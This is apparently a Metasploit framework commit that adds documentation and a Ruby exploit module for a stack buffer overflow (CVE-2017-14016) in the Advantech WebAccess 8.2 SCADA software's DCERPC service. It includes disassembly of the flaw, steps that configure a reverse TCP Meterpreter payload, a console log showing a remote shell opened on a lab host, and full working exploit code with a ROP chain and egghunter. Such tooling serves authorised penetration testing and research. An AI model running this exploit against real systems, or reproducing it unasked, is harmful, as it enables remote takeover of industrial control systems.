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Land rapid7#9286, Advantech WebAccess webvrpcs BOF RCE
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‎documentation/modules/exploit/windows/scada/advantech_webaccess_webvrpcs_bof.md

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## Vulnerable Application
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[Advantech WebAccess <= 8.2](http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170330.exe)
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## Vulnerability Analysis
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The stack overflow happens in sub_10004BC8:
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```
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.text:10004BC8 ; int __cdecl sub_10004BC8(char *Format, char)
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.text:10004BC8 sub_10004BC8 proc near ;
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.text:10004BC8 ;
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.text:10004BC8
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.text:10004BC8 lpWindowName = dword ptr -818h
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.text:10004BC8 hWnd = dword ptr -814h
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.text:10004BC8 lpClassName = dword ptr -810h
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.text:10004BC8 Args = dword ptr -80Ch
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.text:10004BC8 lpBaseAddress = dword ptr -808h
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.text:10004BC8 hFileMappingObject= dword ptr -804h
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.text:10004BC8 Dest = byte ptr -800h
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.text:10004BC8 Format = dword ptr 8
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.text:10004BC8 arg_4 = byte ptr 0Ch
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.text:10004BC8
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.text:10004BC8 push ebp
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.text:10004BC9 mov ebp, esp
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.text:10004BCB sub esp, 818h
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.text:10004BD1 mov [ebp+lpWindowName], offset aDebugScreen1 ; "Debug Screen1"
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.text:10004BDB mov [ebp+lpClassName], offset aDebugwclass1 ; "debugWClass1"
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.text:10004BE5 lea eax, [ebp+arg_4]
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.text:10004BE8 mov [ebp+Args], eax
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.text:10004BEE mov ecx, [ebp+Args]
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.text:10004BF4 push ecx ; Args
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.text:10004BF5 mov edx, [ebp+Format]
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.text:10004BF8 push edx ; Format
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.text:10004BF9 lea eax, [ebp+Dest]
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.text:10004BFF push eax ; Dest
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.text:10004C00 call ds:vsprintf ; overflow
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```
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The corresponding IDL is below:
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```
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[
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uuid(5d2b62aa-ee0a-4a95-91ae-b064fdb471fc),
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version(1.0)
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]
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interface target_interface
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{
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/* opcode: 0x01, address: 0x00401260 */
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void sub_401260 (
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[in] handle_t arg_1,
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[in] long arg_2,
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[in] long arg_3,
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[in] long arg_4,
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[in][ref][size_is(arg_4)] char * arg_5,
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[out][ref] long * arg_6
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);
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}
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```
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## Verification Steps
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1. Start `msfconsole`
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2. `use exploits/windows/scada/advantech_webaccess_webvrpcs_bof`
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3. `set payload windows/meterpreter/reverse_tcp`
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4. `set LHOST XXX.XXX.XXX.XXX`
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5. `exploit`
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6. **Verify** you get a connect back meterpreter
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## Options
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None.
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## Scenarios
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```
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saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/advantech.rc
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[*] Processing scripts/advantech.rc for ERB directives.
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resource (scripts/advantech.rc)> use exploit/windows/scada/advantech_webaccess_webvrpcs_bof
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resource (scripts/advantech.rc)> set payload windows/meterpreter/reverse_tcp
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payload => windows/meterpreter/reverse_tcp
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resource (scripts/advantech.rc)> set RHOST 172.16.175.136
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RHOST => 172.16.175.136
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resource (scripts/advantech.rc)> set LHOST 172.16.175.1
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LHOST => 172.16.175.1
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resource (scripts/advantech.rc)> exploit
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[*] Started reverse TCP handler on 172.16.175.1:4444
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[*] 172.16.175.136:4592 - Binding to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.136[4592] ...
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[*] 172.16.175.136:4592 - Bound to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.136[4592] ...
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[+] 172.16.175.136:4592 - Got a handle: 0x01ef2558
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[*] 172.16.175.136:4592 - Trying target Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31...
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[*] Sending stage (179779 bytes) to 172.16.175.136
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[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.136:49206) at 2017-12-11 11:32:15 -0600
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[*] 172.16.175.136:4592 - The DCERPC service did not reply to our request
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meterpreter > shell
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Process 5208 created.
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Channel 1 created.
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Microsoft Windows [Version 6.1.7601]
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Copyright (c) 2009 Microsoft Corporation. All rights reserved.
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C:\WebAccess\Node>
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```

‎modules/exploits/windows/scada/advantech_webaccess_webvrpcs_bof.rb

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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Advantech WebAccess 8.2.
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By sending a specially crafted DCERPC request, an attacker could overflow
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the buffer and execute arbitrary code.
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},
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'Author' => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'ZDI', '17-938' ],
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[ 'CVE', '2017-14016' ],
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[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ]
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 2048,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31',
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{
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'Ret' => 0x07036cdc, # pop ebx; add esp, 994; retn 0x14
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'Slide' => 0x07048f5b, # retn
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'Jmp' => 0x0706067e # pop ecx; pop ecx; ret 0x04
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}
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],
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],
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'DisclosureDate' => 'Nov 02 2017',
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'DefaultTarget' => 0))
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register_options([ Opt::RPORT(4592)])
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end
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def create_rop_chain()
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# this target opts into dep
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rop_gadgets =
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[
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0x020214c6, # POP EAX # RETN [BwKrlAPI.dll]
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0x0203a134, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]
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0x02032fb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll]
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0x070738ee, # XCHG EAX,ESI # RETN [BwPAlarm.dll]
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0x0201a646, # POP EBP # RETN [BwKrlAPI.dll]
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0x07024822, # & push esp # ret [BwPAlarm.dll]
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0x070442dd, # POP EAX # RETN [BwPAlarm.dll]
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0xffffffff, # Value to negate, will become 0x00000001
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0x070467d2, # NEG EAX # RETN [BwPAlarm.dll]
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0x0704de61, # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll]
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rand_text_alpha(4).unpack('V'),
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rand_text_alpha(4).unpack('V'),
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rand_text_alpha(4).unpack('V'),
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0x02030af7, # POP EAX # RETN [BwKrlAPI.dll]
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0xfbdbcbd5, # put delta into eax (-> put 0x00001000 into edx)
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0x02029003, # ADD EAX,424442B # RETN [BwKrlAPI.dll]
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0x0201234a, # XCHG EAX,EDX # RETN [BwKrlAPI.dll]
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0x07078df5, # POP EAX # RETN [BwPAlarm.dll]
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0xffffffc0, # Value to negate, will become 0x00000040
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0x070467d2, # NEG EAX # RETN [BwPAlarm.dll]
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0x07011e60, # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll]
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0x0706fe66, # POP EDI # RETN [BwPAlarm.dll]
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rand_text_alpha(4).unpack('V'),
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rand_text_alpha(4).unpack('V'),
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0x0703d825, # RETN (ROP NOP) [BwPAlarm.dll]
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0x0202ca65, # POP EAX # RETN [BwKrlAPI.dll]
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0x90909090, # nop
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0x07048f5a, # PUSHAD # RETN [BwPAlarm.dll]
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].flatten.pack("V*")
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return rop_gadgets
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end
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def exploit
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connect
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handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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# send the request to get the handle
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resp = dcerpc.call(0x4, [0x02000000].pack('V'))
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handle = resp.last(4).unpack('V').first
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print_good("Got a handle: 0x%08x" % handle)
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egg_options = { :eggtag => "0day" }
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egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options)
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# apparently this is called a ret chain
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overflow = [target['Slide']].pack('V')
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overflow << [target['Slide']].pack('V')
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overflow << [target['Slide']].pack('V')
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overflow << [target['Slide']].pack('V')
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overflow << [target['Slide']].pack('V')
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overflow << [target['Slide']].pack('V')
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overflow << [target['Jmp']].pack('V')
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overflow << [target['Ret']].pack('V')
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overflow << [target['Slide']].pack('V')
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overflow << [target['Slide']].pack('V')
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overflow << [target['Slide']].pack('V')
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overflow << [target['Slide']].pack('V')
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overflow << [target['Slide']].pack('V')
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overflow << [target['Slide']].pack('V')
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overflow << create_rop_chain()
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overflow << egghunter
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overflow << egg
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overflow << rand_text_alpha(0x1000-overflow.length)
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# sorry but I dont like msf's ndr class.
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sploit = [handle].pack('V')
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sploit << [0x000138bd].pack('V') # opcode we are attacking
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sploit << [0x00001000].pack('V') # size to copy
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sploit << [0x00001000].pack('V') # size of string
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sploit << overflow
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print_status("Trying target #{target.name}...")
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begin
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dcerpc_call(0x1, sploit)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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ensure
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disconnect
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end
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handler
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end
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end

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